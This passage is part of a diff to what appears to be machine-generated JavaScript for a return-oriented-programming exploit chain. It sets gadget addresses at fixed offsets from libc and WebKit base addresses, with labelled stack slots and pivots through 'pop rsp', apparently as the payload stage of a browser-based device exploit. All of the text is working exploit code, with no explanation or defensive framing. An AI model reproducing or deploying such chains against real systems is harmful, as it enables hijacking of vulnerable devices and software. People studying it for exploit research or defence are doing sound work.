libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+337888, //L6413 +ropchain+333616, //L6158 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+337904, //L6414 +ropchain+333632, //L6159 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+337872, //L6412 +ropchain+333600, //L6157 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6412: +//L6157: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6413: +//L6158: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6414: +//L6159: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+338072, //L6417 +ropchain+333800, //L6162 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+338088, //L6418 +ropchain+333816, //L6163 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+338040, //L6415 +ropchain+333784, //L6160 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+338056, //L6416 +ropchain+333768, //L6161 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6415: +//L6161: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6416: +//L6160: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6417: +//L6162: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6418: +//L6163: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+338160, //L6419 +ropchain+333888, //L6164 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+338176, //L6420 +ropchain+333904, //L6165 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6419: +//L6164: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6420: +//L6165: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+338272, //L6422 +ropchain+334000, //L6167 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+338256, //L6421 +ropchain+333984, //L6166 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6421: +//L6166: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6422: +//L6167: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46408,8 +45489,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6424: -ropchain+338376, //L6423 +//L6169: +ropchain+334104, //L6168 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -46417,8 +45498,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+172888, //_get_tclass -//L6423: +ropchain+172424, //_get_tclass +//L6168: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -46426,40 +45507,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+338512, //L6426 +ropchain+334240, //L6171 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+338528, //L6427 +ropchain+334256, //L6172 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+338496, //L6425 +ropchain+334224, //L6170 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6425: +//L6170: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6426: +//L6171: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6427: +//L6172: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+338624, //L6429 +ropchain+334352, //L6174 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+338608, //L6428 +ropchain+334336, //L6173 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6428: +//L6173: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6429: +//L6174: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46468,39 +45549,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+338704, //L6431 +ropchain+334432, //L6175 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6431: +//L6175: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6430: +//L6176: db([66, 0]); // 0x42 set_gadget(libc_base+206806,); //pop rdi -//L6432: +//L6177: db([66, 0]); // 0x42 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+338840, //L6433 +ropchain+334568, //L6178 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+338872, //L6435 +ropchain+334600, //L6180 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+338856, //L6434 +ropchain+334584, //L6179 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6433: +//L6178: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6434: +//L6179: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6435: +//L6180: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -46512,247 +45593,247 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+339032, //L6437 +ropchain+334760, //L6182 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+339048, //L6438 +ropchain+334776, //L6183 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+339016, //L6436 +ropchain+334744, //L6181 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6436: +//L6181: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6437: +//L6182: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6438: +//L6183: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+339152, //L6441 +ropchain+334880, //L6186 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+339200, //L6443 +ropchain+334928, //L6188 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+339184, //L6442 +ropchain+334912, //L6187 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6441: +//L6186: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6440: +//L6185: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6442: +//L6187: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6443: +//L6188: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+339312, //L6444+8 +ropchain+335040, //L6189+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+339304, //L6444 +ropchain+335032, //L6189 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6444: +//L6189: db([0, 0]); // 0x0 set_gadgets([ -ropchain+339328, //L6444+24 -ropchain+339952, //L6439 +ropchain+335056, //L6189+24 +ropchain+335680, //L6184 libc_base+793877, //pop rsi -ropchain+339384, //L6447 +ropchain+335096, //L6190 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6445: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6447: +//L6190: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6191: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+339488, //L6450 +ropchain+335216, //L6195 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+339472, //L6449 +ropchain+335200, //L6193 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6449: +//L6193: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6450: +//L6195: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+339656, //L6453 +ropchain+335384, //L6198 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+339672, //L6454 +ropchain+335400, //L6199 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+339624, //L6451 +ropchain+335368, //L6196 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+339640, //L6452 +ropchain+335352, //L6197 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6451: +//L6197: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6452: +//L6196: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6453: +//L6198: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6454: +//L6199: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+339744, //L6455 +ropchain+335472, //L6200 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+339760, //L6456 +ropchain+335488, //L6201 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6455: +//L6200: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6456: +//L6201: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+339864, //L6459 +ropchain+335576, //L6202 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+339880, //L6460 +ropchain+335608, //L6205 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6457: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6459: +//L6202: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6203: +db([4294965164, 4294967295]); // -0x854 set_gadget(libc_base+206806,); //pop rdi -//L6460: +//L6205: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+339944, //L6462 +ropchain+335672, //L6206 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6462: +//L6206: db([0, 0]); // 0x0 -//L6439: -//L6463: +//L6184: +//L6208: set_gadgets([ libc_base+793877, //pop rsi -ropchain+340008, //L6466 +ropchain+335720, //L6209 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6464: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6466: +//L6209: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6210: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+340112, //L6469 +ropchain+335840, //L6214 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+340096, //L6468 +ropchain+335824, //L6212 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6468: +//L6212: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6469: +//L6214: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+340280, //L6472 +ropchain+336008, //L6217 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+340296, //L6473 +ropchain+336024, //L6218 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+340248, //L6470 +ropchain+335992, //L6215 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+340264, //L6471 +ropchain+335976, //L6216 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6470: +//L6216: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6471: +//L6215: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6472: +//L6217: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6473: +//L6218: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+340392, //L6475 +ropchain+336120, //L6220 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+340376, //L6474 +ropchain+336104, //L6219 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6474: +//L6219: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6475: +//L6220: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46760,38 +45841,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+340480, //L6477 +ropchain+336208, //L6222 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6476: +//L6221: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6477: +//L6222: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+340552, //L6480 +ropchain+336264, //L6223 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6478: -db([4294965156, 4294967295]); // -0x85c -set_gadget(libc_base+792472,); //pop rcx -//L6480: +//L6223: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6224: +db([4294965160, 4294967295]); // -0x858 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+340616, //L6481 +ropchain+336344, //L6226 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6481: +//L6226: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -46801,80 +45882,80 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+335512, //L6352 -//L6385: +ropchain+331000, //L6090 +//L6123: libc_base+793877, //pop rsi -ropchain+340728, //L6485 +ropchain+336440, //L6228 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6483: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6485: +//L6228: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6229: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+340832, //L6488 +ropchain+336560, //L6233 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+340816, //L6487 +ropchain+336544, //L6231 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6487: +//L6231: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6488: +//L6233: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+341000, //L6491 +ropchain+336728, //L6236 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+341016, //L6492 +ropchain+336744, //L6237 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+340968, //L6489 +ropchain+336712, //L6234 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+340984, //L6490 +ropchain+336696, //L6235 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6489: +//L6235: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6490: +//L6234: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6491: +//L6236: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6492: +//L6237: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+341112, //L6494 +ropchain+336840, //L6239 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+341096, //L6493 +ropchain+336824, //L6238 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6493: +//L6238: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6494: +//L6239: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -46882,8 +45963,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6496: -ropchain+398160, //L6495 +//L6241: +ropchain+397960, //L6240 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -46891,8 +45972,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6498: -ropchain+341264, //L6497 +//L6243: +ropchain+336992, //L6242 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -46900,8 +45981,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6497: +ropchain+159840, //_printf_ +//L6242: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -46909,92 +45990,92 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+341352, //L6501 +ropchain+337064, //L6244 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6499: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6501: +//L6244: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6245: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+341456, //L6504 +ropchain+337184, //L6249 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+341440, //L6503 +ropchain+337168, //L6247 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6503: +//L6247: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6504: +//L6249: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+341624, //L6507 +ropchain+337352, //L6252 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+341640, //L6508 +ropchain+337368, //L6253 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+341592, //L6505 +ropchain+337336, //L6250 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+341608, //L6506 +ropchain+337320, //L6251 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6505: +//L6251: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6506: +//L6250: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6507: +//L6252: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6508: +//L6253: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+341712, //L6509 +ropchain+337440, //L6254 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+341728, //L6510 +ropchain+337456, //L6255 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6509: +//L6254: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6510: +//L6255: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+341824, //L6512 +ropchain+337552, //L6257 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+341808, //L6511 +ropchain+337536, //L6256 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6511: +//L6256: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6512: +//L6257: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -47003,39 +46084,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+341904, //L6514 +ropchain+337632, //L6258 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6514: +//L6258: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6513: +//L6259: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6515: +//L6260: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+342040, //L6516 +ropchain+337768, //L6261 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342072, //L6518 +ropchain+337800, //L6263 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+342056, //L6517 +ropchain+337784, //L6262 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6516: +//L6261: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6517: +//L6262: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6518: +//L6263: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47048,104 +46129,104 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+342240, //L6520 +ropchain+337968, //L6265 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342256, //L6521 +ropchain+337984, //L6266 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+342224, //L6519 +ropchain+337952, //L6264 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6519: +//L6264: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6520: +//L6265: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6521: +//L6266: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+342360, //L6524 +ropchain+338088, //L6269 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342408, //L6526 +ropchain+338136, //L6271 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+342392, //L6525 +ropchain+338120, //L6270 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6524: +//L6269: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6523: +//L6268: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6525: +//L6270: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6526: +//L6271: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+342520, //L6527+8 +ropchain+338248, //L6272+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+342512, //L6527 +ropchain+338240, //L6272 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6527: +//L6272: db([0, 0]); // 0x0 set_gadgets([ -ropchain+342536, //L6527+24 -ropchain+342976, //L6522 +ropchain+338264, //L6272+24 +ropchain+338704, //L6267 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+342576, //L6529 +ropchain+338304, //L6273 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6529: +//L6273: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6528: +//L6274: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L6530: +//L6275: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+342712, //L6531 +ropchain+338440, //L6276 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342744, //L6533 +ropchain+338472, //L6278 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+342728, //L6532 +ropchain+338456, //L6277 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6531: +//L6276: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6532: +//L6277: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6533: +//L6278: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47155,17 +46236,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+342840, //L6534 +ropchain+338568, //L6279 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342856, //L6535 +ropchain+338584, //L6280 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L6534: +//L6279: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6535: +//L6280: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -47175,56 +46256,89 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+342968, //L6536 +ropchain+338696, //L6281 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+342952, //L6537 +ropchain+338680, //L6282 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L6537: +//L6282: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L6536: +//L6281: db([0, 0]); // 0x0 